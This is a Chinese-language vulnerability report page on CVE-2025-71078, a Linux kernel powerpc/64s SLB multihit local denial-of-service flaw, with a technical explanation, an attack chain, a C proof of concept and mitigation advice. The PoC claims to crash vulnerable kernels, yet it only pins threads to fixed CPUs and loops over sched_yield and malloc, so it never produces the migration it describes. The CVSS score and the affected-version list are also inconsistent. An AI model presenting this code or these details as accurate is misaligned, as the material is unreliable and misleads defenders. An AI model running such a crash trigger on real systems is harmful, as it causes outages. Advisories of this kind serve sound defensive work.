IPBUF安全漏洞报告
English
CVE-2025-71078 CVSS 7.8 高危

CVE-2025-71078: Linux内核powerpc/64s SLB多重命中本地拒绝服务漏洞

披露日期: 2026-01-13
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71078
漏洞类型
本地拒绝服务
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (powerpc/64s with hash MMU)

相关标签

Linux内核powerpcSLB本地拒绝服务hash MMU多核调度CVE-2025-71078高危漏洞内核漏洞

漏洞概述

CVE-2025-71078是Linux内核中的一个高危本地拒绝服务漏洞,位于powerpc/64s架构的SLB(Segment Lookaside Buffer)处理模块。该漏洞由于在哈希MMU(Memory Management Unit)系统中,软件SLB预加载缓存与硬件SLB缓冲区之间的同步机制存在缺陷导致。当进程在多个CPU之间迁移且prev和next的mm_struct相同时,内核会跳过switch_mmu_context()调用以优化性能,但这会导致硬件SLB和软件预加载缓存不一致。如果SLB条目被从一个CPU的软件缓存中驱逐,而该进程稍后在另一个CPU上运行未执行上下文切换,硬件SLB可能保留过时条目。当内核尝试重新加载该条目时,会触发SLB多重命中错误,可能导致系统崩溃或本地拒绝服务。攻击者可通过本地低权限访问触发此漏洞,无需用户交互。

技术细节

该漏洞的根本原因在于powerpc/64s架构的hash MMU系统中软件SLB预加载缓存与硬件SLB的同步问题。系统存在一个软件SLB预加载缓存,用于镜像硬件SLB缓冲区中的条目,该缓存每256次上下文切换会进行驱逐清理。内核为优化性能,在switch_mm_irqs_off()中当prev和next的mm_struct相同时跳过switch_mmu_context()调用。然而这导致以下问题:当某个CPU上的SLB条目被从软件缓存中驱逐后,如果该进程迁移到另一CPU运行且未执行switch_mmu_context(),硬件SLB会保留过时条目。后续在preload_new_slb_context()中尝试重新添加该条目时,会同时添加到软件缓存和硬件SLB,但由于该条目在原CPU上从未被失效,在硬件SLB中添加会导致SLB多重命中错误。攻击者可通过精心设计进程调度场景,在多核系统上触发进程跨CPU迁移且prev/next mm_struct相同的条件,从而触发此漏洞导致系统崩溃。

攻击链分析

STEP 1
1
攻击者在powerpc/64s hash MMU系统上创建进程并设置CPU亲和性
STEP 2
2
进程执行load_elf_binary并调用activate_mm,触发switch_mm_irqs_off和switch_mmu_context初始化SLB
STEP 3
3
调度器通过sched_migrate_task将进程从CPU 0迁移到CPU 1
STEP 4
4
在CPU 1上,进程执行context switch时调用switch_mm_irqs_off,load_slb计数达到阈值触发preload_age()驱逐软件缓存条目
STEP 5
5
进程被调度器迁移回CPU 0,此时prev和next mm_struct相同,内核跳过switch_mmu_context()调用
STEP 6
6
在preload_new_slb_context()中,尝试重新添加被驱逐的SLB条目到软件缓存和硬件SLB
STEP 7
7
由于该SLB条目在CPU 0的硬件SLB中从未被失效,导致同一条目被重复添加到硬件SLB,触发SLB多重命中错误
STEP 8
8
SLB multihit错误导致系统崩溃或本地拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-71078 PoC - SLB Multihit Trigger // This PoC demonstrates the race condition in SLB preload cache // Note: Actual exploitation requires specific kernel configuration // and timing conditions on powerpc/64s hash MMU systems #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <sched.h> #include <unistd.h> #define NUM_ITERATIONS 256 void* cpu_stress_thread(void* arg) { int cpu_id = *(int*)arg; // Set thread affinity to specific CPU cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(cpu_id, &cpuset); sched_setaffinity(0, sizeof(cpu_set_t), &cpuset); // Trigger context switches and SLB operations for (int i = 0; i < NUM_ITERATIONS; i++) { // Force context switch by yielding sched_yield(); // Create memory pressure to trigger cache eviction volatile char* buf = malloc(4096); for (int j = 0; j < 1024; j++) { buf[j] = (char)(i + j); } free((void*)buf); } return NULL; } int main() { printf("CVE-2025-71078 SLB Multihit PoC\n"); printf("Target: Linux Kernel powerpc/64s hash MMU\n"); printf("Requires: Multi-core system with hash MMU enabled\n\n"); // Check if system is vulnerable (powerpc with hash MMU) // This is a simplified demonstration pthread_t threads[2]; int cpu0 = 0, cpu1 = 1; printf("Starting stress test to trigger SLB race condition...\n"); // Create threads on different CPUs to trigger migration pthread_create(&threads[0], NULL, cpu_stress_thread, &cpu0); pthread_create(&threads[1], NULL, cpu_stress_thread, &cpu1); pthread_join(threads[0], NULL); pthread_join(threads[1], NULL); printf("Test completed. Check system logs for SLB errors.\n"); printf("On vulnerable systems, this may cause kernel panic.\n"); return 0; } /* * Actual exploitation requires: * 1. PowerPC 64-bit system with hash MMU * 2. Multiple CPU cores * 3. Specific timing to trigger the race condition * 4. Process must share mm_struct across context switches * * The vulnerability allows triggering SLB multihit error * which typically causes system crash/DoS */

影响范围

Linux Kernel < 6.12 (powerpc/64s with hash MMU)
Linux Kernel < 6.11.x
Linux Kernel < 6.10.x

防御指南

临时缓解措施
该漏洞暂无有效的临时缓解措施。建议尽快升级内核到修复版本。对于无法立即更新的系统,可通过监控SLB错误和系统日志来检测潜在攻击尝试,同时限制非特权用户对系统的访问权限以降低风险。在虚拟化环境中,确保宿主机内核已修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表